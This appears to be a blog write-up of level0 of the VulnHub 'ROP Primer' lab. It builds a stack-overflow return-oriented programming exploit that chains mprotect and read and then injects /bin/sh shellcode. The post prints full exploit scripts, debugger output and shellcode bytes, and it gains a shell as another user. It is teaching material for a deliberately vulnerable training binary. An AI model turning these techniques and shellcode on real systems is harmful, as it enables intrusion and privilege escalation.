Lab - ROP Primer

Download

http://download.vulnhub.com/rop-primer/rop-primer-v0.2.ova


Exploit

level0@rop:~$ cat exploit.py 
#!/usr/bin/env python2
# -*- coding: utf8 -*-

import struct

def p(x):
    return struct.pack('<L', x)

# function address
mprotect = 0x80523e0
read = 0x80517f0
pop3ret = 0x8048882

# create payload
payload = "\x41" * 44
# payload += p(0xdeadbeef)

# mprotect
payload += p(mprotect)
# payload += p(0xdeadbeef)
payload += p(0x8048882)

# These 3 lines below represent the 3 values that mprotect takes
payload += p(0xb7ffd000)
payload += p(0x2000)
payload += p(0x7)

# payload += "BBBB"
payload += p(read)
# payload += p(0xdeadbeef)
payload += p(pop3ret)

# read arguments
payload += p(0x0)
payload += p(0xb7ffd000)
payload += p(0x200)

payload += p(0xb7ffd000)

print payload
level0@rop:~$ (python exploit.py; python -c 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"';cat) | ./level0 
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���!

id
uid=1000(level0) gid=1000(level0) euid=1001(level1) groups=1001(level1),1000(level0)

Tutorials

Background

I managed to get sent to BSides London a couple of weeks back thanks to Procheckup. I was a bit hesitant at first due to it being my first con and going on my own but I thought, what have I got to lose? Turnt out the day was awesome! I met a lot of smart people and had a hell of a lot of fun listening to the talks and participating in the workshops (including lots of free goodies).

The main workshop that I was looking forward to was about Return-Orientated Programming (ROP) presented by Bas from vulnhub. I’ve been exposed to binary exploitation before by partaking in CTF challenges. I’d perfomed ret2libc attacks before but never went far enough to do ROP.

We all recieved a copy of a VM which contained 3 challenges that had to be solved using ROP. This blog post will be my write up of the first challenge. Hopefully, if time permits, I’ll do a write up for challenges two and three. So enough background, lets get started!


ROP TIME!

Okay, so first off I loaded the program up in GDB and disassembled the binary to see what it does.

level0@rop:~$ gdb -q level0
Reading symbols from level0...(no debugging symbols found)...done.
gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

Binary has NX enabled, which means we will need to perform ret2libc or ROP to bypass this mitigation.

gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x08048254 <+0>: push   ebp
   0x08048255 <+1>: mov    ebp,esp
   0x08048257 <+3>: and    esp,0xfffffff0
   0x0804825a <+6>: sub    esp,0x30
   0x0804825d <+9>: mov    DWORD PTR [esp],0x80ab668
   0x08048264 <+16>:    call   0x8048f40 <puts>
   0x08048269 <+21>:    mov    DWORD PTR [esp],0x80ab680
   0x08048270 <+28>:    call   0x8048d80 <printf>
   0x08048275 <+33>:    lea    eax,[esp+0x10]
   0x08048279 <+37>:    mov    DWORD PTR [esp],eax
   0x0804827c <+40>:    call   0x8048db0 <gets>
   0x08048281 <+45>:    lea    eax,[esp+0x10]
   0x08048285 <+49>:    mov    DWORD PTR [esp+0x4],eax
   0x08048289 <+53>:    mov    DWORD PTR [esp],0x80ab698
   0x08048290 <+60>:    call   0x8048d80 <printf>
   0x08048295 <+65>:    mov    eax,0x0
   0x0804829a <+70>:    leave  
   0x0804829b <+71>:    ret    
End of assembler dump.

So we can see at 0x0804825a the esp register is subtracted by 0x30 (decimal 48). Which is usually a tell that a buffer has been assigned. Looking through the rest of the code we see four functions, three that print to the stdout and one that recieves input from stdin.

The next stage is to try and smash the buffer. To do this, peda-gdb has a useful function called “pattern_create” which creates random data to insert into the buffer. Then depending on what EIP gets overwritten to, it will figure out how many bytes of data it takes to overwrite EIP. Neat, huh?

gdb-peda$ pattern_create 48
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAA'

I decided to go for a length of 48 due to what I figured from the disassembly of the main function.

gdb-peda$ pattern_create 48
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAA'
gdb-peda$ quit
level0@rop:~$ python2 -c 'print "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAA"' > inp
level0@rop:~$ gdb -q level0
Reading symbols from level0...(no debugging symbols found)...done.
gdb-peda$ r < inp
Starting program: /home/level0/level0 < inp
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAA!

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xbffff6ac --> 0x80ca720 --> 0xfbad2a84 
EDX: 0x80cb690 --> 0x0 
ESI: 0x80488e0 (<__libc_csu_fini>:  push   ebp)
EDI: 0x2cff64bf 
EBP: 0x41304141 ('AA0A')
ESP: 0xbffff700 --> 0x0 
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414641
[------------------------------------stack-------------------------------------]
0000| 0xbffff700 --> 0x0 
0004| 0xbffff704 --> 0xbffff794 --> 0xbffff8b6 ("/home/level0/level0")
0008| 0xbffff708 --> 0xbffff79c --> 0xbffff8ca ("XDG_SESSION_ID=2")
0012| 0xbffff70c --> 0x0 
0016| 0xbffff710 --> 0x0 
0020| 0xbffff714 --> 0x0 
0024| 0xbffff718 --> 0x0 
0028| 0xbffff71c --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()

I opened the binary back in GDB and ran the program with inp file as input. This overwrote EIP to “0x41414641″ using pattern_offset and the “0x41414641″ address. GDB told me that the buffer was 44 bytes long.

level0@rop:~$ python2 -c 'print "A" * 44 + "\xef\xbe\xad\xde"' > 1inp
level0@rop:~$ gdb -q level0
Reading symbols from level0...(no debugging symbols found)...done.
gdb-peda$ r < 1inp
Starting program: /home/level0/level0 < 1inp
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ�!

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xbffff6ac --> 0x80ca720 --> 0xfbad2a84 
EDX: 0x80cb690 --> 0x0 
ESI: 0x80488e0 (<__libc_csu_fini>:  push   ebp)
EDI: 0xce28991f 
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff700 --> 0x0 
EIP: 0xdeadbeef
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xdeadbeef
[------------------------------------stack-------------------------------------]
0000| 0xbffff700 --> 0x0 
0004| 0xbffff704 --> 0xbffff794 --> 0xbffff8b6 ("/home/level0/level0")
0008| 0xbffff708 --> 0xbffff79c --> 0xbffff8ca ("XDG_SESSION_ID=2")
0012| 0xbffff70c --> 0x0 
0016| 0xbffff710 --> 0x0 
0020| 0xbffff714 --> 0x0 
0024| 0xbffff718 --> 0x0 
0028| 0xbffff71c --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xdeadbeef in ?? ()

The next step, I used python to print 44 A’s and then DEADBEEF. I fed this through GDB and noted what EIP had been overwritten to. Success! I can overwrite the EIP correctly.

Now that I could control execution of the binary I thought out my game plan to use ROP to get a shell.

I would use the mprotect function to set an area of memory to executable, call the read function and then finally feed in shellcode to the read function to execute my shell.

To do this I noted the addresses of mprotect and read (ASLR was disabled, so these addresses stayed the same).

gdb-peda$ p mprotect 
$1 = {<text variable, no debug info>} 0x80523e0 <mprotect>
gdb-peda$ p read
$2 = {<text variable, no debug info>} 0x80517f0 <read>

I created a skeleton python script for my exploit.

#!/usr/bin/env python2
# -*- coding: utf8 -*-

import struct

def p(x):
    return struct.pack('<L', x)

payload = "A" * 44
payload += p(0xdeadbeef)

print payload

A quick run to see if it still overwrites EIP properly

level0@rop:~$ python exp.py > 2inp
level0@rop:~$ gdb -q level0
Reading symbols from level0...(no debugging symbols found)...done.
gdb-peda$ r < 2inp
Starting program: /home/level0/level0 < 2inp
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ�!

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xbffff6ac --> 0x80ca720 --> 0xfbad2a84 
EDX: 0x80cb690 --> 0x0 
ESI: 0x80488e0 (<__libc_csu_fini>:  push   ebp)
EDI: 0xcf1f6a72 
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff700 --> 0x0 
EIP: 0xdeadbeef
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xdeadbeef
[------------------------------------stack-------------------------------------]
0000| 0xbffff700 --> 0x0 
0004| 0xbffff704 --> 0xbffff794 --> 0xbffff8b6 ("/home/level0/level0")
0008| 0xbffff708 --> 0xbffff79c --> 0xbffff8ca ("XDG_SESSION_ID=2")
0012| 0xbffff70c --> 0x0 
0016| 0xbffff710 --> 0x0 
0020| 0xbffff714 --> 0x0 
0024| 0xbffff718 --> 0x0 
0028| 0xbffff71c --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xdeadbeef in ?? ()

Looks good to me! Moving on… The next thing I need in my exploit is the mprotect function. I looked mprotect up in man.

$ man mprotect
MPROTECT(3P)                                                          POSIX Programmer's Manual                                                         MPROTECT(3P)

PROLOG
       This  manual  page  is  part of the POSIX Programmer's Manual.  The Linux implementation of this interface may differ (consult the corresponding Linux manual
       page for details of Linux behavior), or the interface may not be implemented on Linux.

NAME
       mprotect — set protection of memory mapping

SYNOPSIS
       #include <sys/mman.h>

       int mprotect(void *addr, size_t len, int prot);

DESCRIPTION
       The mprotect() function shall change the access protections to be that specified by prot for those whole pages containing any part of the  address  space  of
       the  process  starting  at  address  addr  and  continuing  for len bytes. The parameter prot determines whether read, write, execute, or some combination of
       accesses are permitted to the data being mapped. The prot argument should be either PROT_NONE or the bitwise-inclusive  OR  of  one  or  more  of  PROT_READ,
       PROT_WRITE, and PROT_EXEC.

       If an implementation cannot support the combination of access types specified by prot, the call to mprotect() shall fail.

       An implementation may permit accesses other than those specified by prot; however, no implementation shall permit a write to succeed where PROT_WRITE has not
       been set or shall permit any access where PROT_NONE alone has been set. Implementations shall support at least  the  following  values  of  prot:  PROT_NONE,
       PROT_READ,  PROT_WRITE, and the bitwise-inclusive OR of PROT_READ and PROT_WRITE. If PROT_WRITE is specified, the application shall ensure that it has opened
       the mapped objects in the specified address range with write permission, unless MAP_PRIVATE was specified in the original mapping, regardless of whether  the
       file descriptors used to map the objects have since been closed.

       The implementation may require that addr be a multiple of the page size as returned by sysconf().

       The behavior of this function is unspecified if the mapping was not established by a call to mmap().

       When mprotect() fails for reasons other than [EINVAL], the protections on some of the pages in the range [addr,addr+len) may have been changed.

RETURN VALUE
       Upon successful completion, mprotect() shall return 0; otherwise, it shall return1 and set errno to indicate the error.
......

So mprotect takes three arguments. The address to change the protection of. The size of memory to change the protection of. Finally, what protection to set on the memory selected.

Using vmmap in GDB I found an address to use for the first argument. The second argument, I decided to go for a size of 2000. But for the final argument I had to dig deeper.

test:lab/ $ cat /usr/include/asm-generic/mman-common.h 
#ifndef __ASM_GENERIC_MMAN_COMMON_H
#define __ASM_GENERIC_MMAN_COMMON_H

/*
 Author: Michael S. Tsirkin <mst@mellanox.co.il>, Mellanox Technologies Ltd.
 Based on: asm-xxx/mman.h
*/

#define PROT_READ   0x1     /* page can be read */
#define PROT_WRITE  0x2     /* page can be written */
#define PROT_EXEC   0x4     /* page can be executed */
#define PROT_SEM    0x8     /* page may be used for atomic ops */
#define PROT_NONE   0x0     /* page can not be accessed */
#define PROT_GROWSDOWN  0x01000000  /* mprotect flag: extend change to start of growsdown vma */
#define PROT_GROWSUP    0x02000000  /* mprotect flag: extend change to end of growsup vma */

#define MAP_SHARED  0x01        /* Share changes */
#define MAP_PRIVATE 0x02        /* Changes are private */
#define MAP_TYPE    0x0f        /* Mask for type of mapping */
#define MAP_FIXED   0x10        /* Interpret addr exactly */
#define MAP_ANONYMOUS   0x20        /* don't use a file */
#ifdef CONFIG_MMAP_ALLOW_UNINITIALIZED
# define MAP_UNINITIALIZED 0x4000000    /* For anonymous mmap, memory could be uninitialized */
#else
# define MAP_UNINITIALIZED 0x0      /* Don't support this flag */
#endif

#define MS_ASYNC    1       /* sync memory asynchronously */
#define MS_INVALIDATE   2       /* invalidate the caches */
#define MS_SYNC     4       /* synchronous memory sync */

#define MADV_NORMAL 0       /* no further special treatment */
#define MADV_RANDOM 1       /* expect random page references */
#define MADV_SEQUENTIAL 2       /* expect sequential page references */
#define MADV_WILLNEED   3       /* will need these pages */
#define MADV_DONTNEED   4       /* don't need these pages */

/* common parameters: try to keep these consistent across architectures */
#define MADV_REMOVE 9       /* remove these pages & resources */
#define MADV_DONTFORK   10      /* don't inherit across fork */
#define MADV_DOFORK 11      /* do inherit across fork */
#define MADV_HWPOISON   100     /* poison a page for testing */
#define MADV_SOFT_OFFLINE 101       /* soft offline page for testing */

#define MADV_MERGEABLE   12     /* KSM may merge identical pages */
#define MADV_UNMERGEABLE 13     /* KSM may not merge identical pages */

#define MADV_HUGEPAGE   14      /* Worth backing with hugepages */
#define MADV_NOHUGEPAGE 15      /* Not worth backing with hugepages */

#define MADV_DONTDUMP   16      /* Explicity exclude from the core dump,
                       overrides the coredump filter bits */
#define MADV_DODUMP 17      /* Clear the MADV_DONTDUMP flag */

/* compatibility flags */
#define MAP_FILE    0

/*
 * When MAP_HUGETLB is set bits [26:31] encode the log2 of the huge page size.
 * This gives us 6 bits, which is enough until someone invents 128 bit address
 * spaces.
 *
 * Assume these are all power of twos.
 * When 0 use the default page size.
 */
#define MAP_HUGE_SHIFT  26
#define MAP_HUGE_MASK   0x3f

#endif /* __ASM_GENERIC_MMAN_COMMON_H */

After a bit of looking around, I managed to find where the protection values are defined. I went with PROT_READ, PROT_WRITE & PROT_EXEC which is 0x7 (0x1+0x2+0x4).

level0@rop:~$ cat exploit.py 
#!/usr/bin/env python2
# -*- coding: utf8 -*-

import struct

def p(x):
    return struct.pack('<L', x)

# function address
mprotect = 0x80523e0
read = 0x80517f0
pop3ret = 0x8048882

# create payload
payload = "\x41" * 44
# payload += p(0xdeadbeef)

# mprotect
payload += p(mprotect)
payload += p(0xdeadbeef)

# These 3 lines below represent the 3 values that mprotect takes
payload += p(0xb7ffd000)
payload += p(0x2000)
payload += p(0x7)

print payload

I updated my exploit script to as above. I set the address for mprotect and read then setup my mprotect function.

level0@rop:~$ python2 exp2.py > 3inp
level0@rop:~$ gdb -q level0
Reading symbols from level0...(no debugging symbols found)...done.
gdb-peda$ r < 3inp
Starting program: /home/level0/level0 < 3inp
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�ᆳ�!

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0x2000 ('')
EDX: 0x7 
ESI: 0x80488e0 (<__libc_csu_fini>:  push   ebp)
EDI: 0x214182c8 
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff704 --> 0xb7ffd000 ('A' <repeats 44 times>, "\340#\005\b", <incomplete sequence \336>)
EIP: 0xdeadbeef
EFLAGS: 0x10217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xdeadbeef
[------------------------------------stack-------------------------------------]
0000| 0xbffff704 --> 0xb7ffd000 ('A' <repeats 44 times>, "\340#\005\b", <incomplete sequence \336>)
0004| 0xbffff708 --> 0x2000 ('')
0008| 0xbffff70c --> 0x7 
0012| 0xbffff710 --> 0x0 
0016| 0xbffff714 --> 0x0 
0020| 0xbffff718 --> 0x0 
0024| 0xbffff71c --> 0x0 
0028| 0xbffff720 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xdeadbeef in ?? ()
gdb-peda$ vmmap 
Start      End        Perm  Name
0x08048000 0x080ca000 r-xp  /home/level0/level0
0x080ca000 0x080cb000 rw-p  /home/level0/level0
0x080cb000 0x080ef000 rw-p  [heap]
0xb7ffd000 0xb7fff000 rwxp  mapped
0xb7fff000 0xb8000000 r-xp  [vdso]
0xbffdf000 0xc0000000 rw-p  [stack]

I executed the exploit in GDB and found that EIP got overwritten to deadbeef again and then used vmmap to see if the area of memory i had chosen to set as read, write & exec had work. RWXP. Cool, so my mprotect ROP chain worked. So now I need to setup my read ROP chain.

However, I first needed to find a rop gadget to pop mprotect and it’s arguments off the stack.

gdb-peda$ ropgadget 
ret = 0x8048106
addesp_4 = 0x804a278
popret = 0x8048550
pop2ret = 0x8048883
pop4ret = 0x8048881
pop3ret = 0x8048882
addesp_8 = 0x804b7f8
leaveret = 0x804813c
addesp_12 = 0x8048d1f
addesp_16 = 0x8048c60
addesp_20 = 0x804a41f
addesp_24 = 0x8049d71
addesp_28 = 0x80496a3
addesp_32 = 0x804bd53
addesp_36 = 0x8049f05
addesp_40 = 0x804c253
addesp_44 = 0x8048a0c
addesp_48 = 0x804a5db
addesp_52 = 0x8049f93
addesp_56 = 0x804a7e4
addesp_60 = 0x80489ad
addesp_64 = 0x804d32c
addesp_68 = 0x806a0a2
addesp_72 = 0x8075242
addesp_76 = 0x804887e
--More--(25/69)

Using “ropgadget” in GDB gave me a list of ROP gadgets to choose from. As mprotect had three arguments, I went with: pop3ret.

level0@rop:~$ cat exp3.py 
#!/usr/bin/env python2
# -*- coding: utf8 -*-

import struct

def p(x):
    return struct.pack('<L', x)

# function address
mprotect = 0x80523e0
read = 0x80517f0
pop3ret = 0x8048882

# create payload
payload = "\x41" * 44
# payload += p(0xdeadbeef)

# mprotect
payload += p(mprotect)
payload += p(pop3ret)

# These 3 lines below represent the 3 values that mprotect takes
payload += p(0xb7ffd000)
payload += p(0x2000)
payload += p(0x7)

payload += "BBBB"

print payload

I updated my exploit script to change the fake ret address to pop3ret and then appended the payload with “BBBB” which will be set as the new EIP.

level0@rop:~$ python2 exp3.py > 4inp
level0@rop:~$ gdb -q level0
Reading symbols from level0...(no debugging symbols found)...done.
gdb-peda$ r < 4inp
Starting program: /home/level0/level0 < 4inp
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���!

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0x2000 ('')
EDX: 0x7 
ESI: 0xb7ffd000 ('A' <repeats 44 times>, "\340#\005\b\202\210\004\b")
EDI: 0x2000 ('')
EBP: 0x7 
ESP: 0xbffff714 --> 0x0 
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbffff714 --> 0x0 
0004| 0xbffff718 --> 0x0 
0008| 0xbffff71c --> 0x0 
0012| 0xbffff720 --> 0x0 
0016| 0xbffff724 --> 0x80488e0 (<__libc_csu_fini>:  push   ebp)
0020| 0xbffff728 --> 0x91d41275 
0024| 0xbffff72c --> 0xbffff768 --> 0x0 
0028| 0xbffff730 --> 0x57caea5c 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()

Okay, all good! After running the updated exploit, we can see that EIP has been overwritten by “BBBB”. Next thing to do is open up the man for the read function.

read(3) - Linux man page
Prolog
This manual page is part of the POSIX Programmer's Manual. The Linux implementation of this interface may differ (consult the corresponding Linux manual page for details of Linux behavior), or the interface may not be implemented on Linux.
Name
pread, read - read from a file
Synopsis

#include <unistd.h>

ssize_t pread(int fildes, void *buf, size_t nbyte, off_t offset);
ssize_t read(int fildes, void *buf, size_t nbyte);
....

So as we can see, read takes 3 arguments. First is file descriptor which we want set as stdin (so we can feed our shellcode in). Second the address of the buffer (the one we set with mprotect). Finally, the count of the bytes we want read in.

#include <bits/posix_opt.h>

/* Get the environment definitions from Unix98.  */
#if defined __USE_UNIX98 || defined __USE_XOPEN2K
# include <bits/environments.h>
#endif

/* Standard file descriptors.  */
#define STDIN_FILENO    0   /* Standard input.  */
#define STDOUT_FILENO   1   /* Standard output.  */
#define STDERR_FILENO   2   /* Standard error output.  */

After some looking around, I found that the STDIN is defined as 0. So now we have what we need for the read function we can add it to the exploit.

level0@rop:~$ cat exp4.py 
#!/usr/bin/env python2
# -*- coding: utf8 -*-

import struct

def p(x):
    return struct.pack('<L', x)

# function address
mprotect = 0x80523e0
read = 0x80517f0
pop3ret = 0x8048882

# create payload
payload = "\x41" * 44
# payload += p(0xdeadbeef)

# mprotect
payload += p(mprotect)
# payload += p(0xdeadbeef)
payload += p(0x8048882)

# These 3 lines below represent the 3 values that mprotect takes
payload += p(0xb7ffd000)
payload += p(0x2000)
payload += p(0x7)

# payload += "BBBB"
payload += p(read)
payload += p(0xdeadbeef)
# payload += p(pop3ret)

# read arguments
payload += p(0x0)
payload += p(0xb7ffd000)
payload += p(0x200)


print payload

The read rop chain is set up and a fake ret of deadbeef. Lets give the exploit a run and see if it works.

level0@rop:~$ python2 exp4.py > 5inp
level0@rop:~$ gdb -q level0
Reading symbols from level0...(no debugging symbols found)...done.
gdb-peda$ r < 5inp
Starting program: /home/level0/level0 < 5inp
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���!

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xb7ffd000 ('A' <repeats 44 times>, "\340#\005\b\202\210\004\b")
EDX: 0x200 
ESI: 0xb7ffd000 ('A' <repeats 44 times>, "\340#\005\b\202\210\004\b")
EDI: 0x2000 ('')
EBP: 0x7 
ESP: 0xbffff718 --> 0x0 
EIP: 0xdeadbeef
EFLAGS: 0x10217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xdeadbeef
[------------------------------------stack-------------------------------------]
0000| 0xbffff718 --> 0x0 
0004| 0xbffff71c --> 0xb7ffd000 ('A' <repeats 44 times>, "\340#\005\b\202\210\004\b")
0008| 0xbffff720 --> 0x200 
0012| 0xbffff724 --> 0x8048800 (<__libc_setup_tls+368>: mov    DWORD PTR ds:0x80cb414,edx)
0016| 0xbffff728 --> 0xd7bf6313 
0020| 0xbffff72c --> 0xbffff768 --> 0x0 
0024| 0xbffff730 --> 0x812826d0 
0028| 0xbffff734 --> 0x77ce35bf 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xdeadbeef in ?? ()

All good! EIP gets overwritten to deadbeef. Now all that’s left to do with our exploit script is reuse our pop3ret gadget in place of the fake ret address and then set eip to point to the executable buffer we created.

level0@rop:~$ cat exploit.py 
#!/usr/bin/env python2
# -*- coding: utf8 -*-

import struct

def p(x):
    return struct.pack('<L', x)

# function address
mprotect = 0x80523e0
read = 0x80517f0
pop3ret = 0x8048882

# create payload
payload = "\x41" * 44
# payload += p(0xdeadbeef)

# mprotect
payload += p(mprotect)
# payload += p(0xdeadbeef)
payload += p(0x8048882)

# These 3 lines below represent the 3 values that mprotect takes
payload += p(0xb7ffd000)
payload += p(0x2000)
payload += p(0x7)

# payload += "BBBB"
payload += p(read)
# payload += p(0xdeadbeef)
payload += p(pop3ret)

# read arguments
payload += p(0x0)
payload += p(0xb7ffd000)
payload += p(0x200)

payload += p(0xb7ffd000)

print payload

Now the exploit is done, it’s time to run it and see if it executes shellcode properly.

level0@rop:~$ (python exploit.py; python -c 'print "\xcc\xcc"') | ./level0 
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���!
Trace/breakpoint trap

The shellcode above represents a breakpoint. As you can see above, the exploit worked because it hit a breakpoint. All that’s left to do now is insert some shellcode to launch /bin/sh. The shellcode i went with is:
\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80

level0@rop:~$ (python exploit.py; python -c 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"';cat) | ./level0 
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���!

id
uid=1000(level0) gid=1000(level0) euid=1001(level1) groups=1001(level1),1000(level0)

uname -a
Linux rop 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i686 i686 GNU/Linux

w00t w00t! So the shellcode gave us our shell with level1 privileges and allowed us to cat flag to move me on to the next challenge.

Thanks again to Bas, vulnhub, Procheckup and everyone at BSides! Can’t wait for it again next year!


References

  1. http://www.cyberpunksecurity.co.uk/babys-first-rop/
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值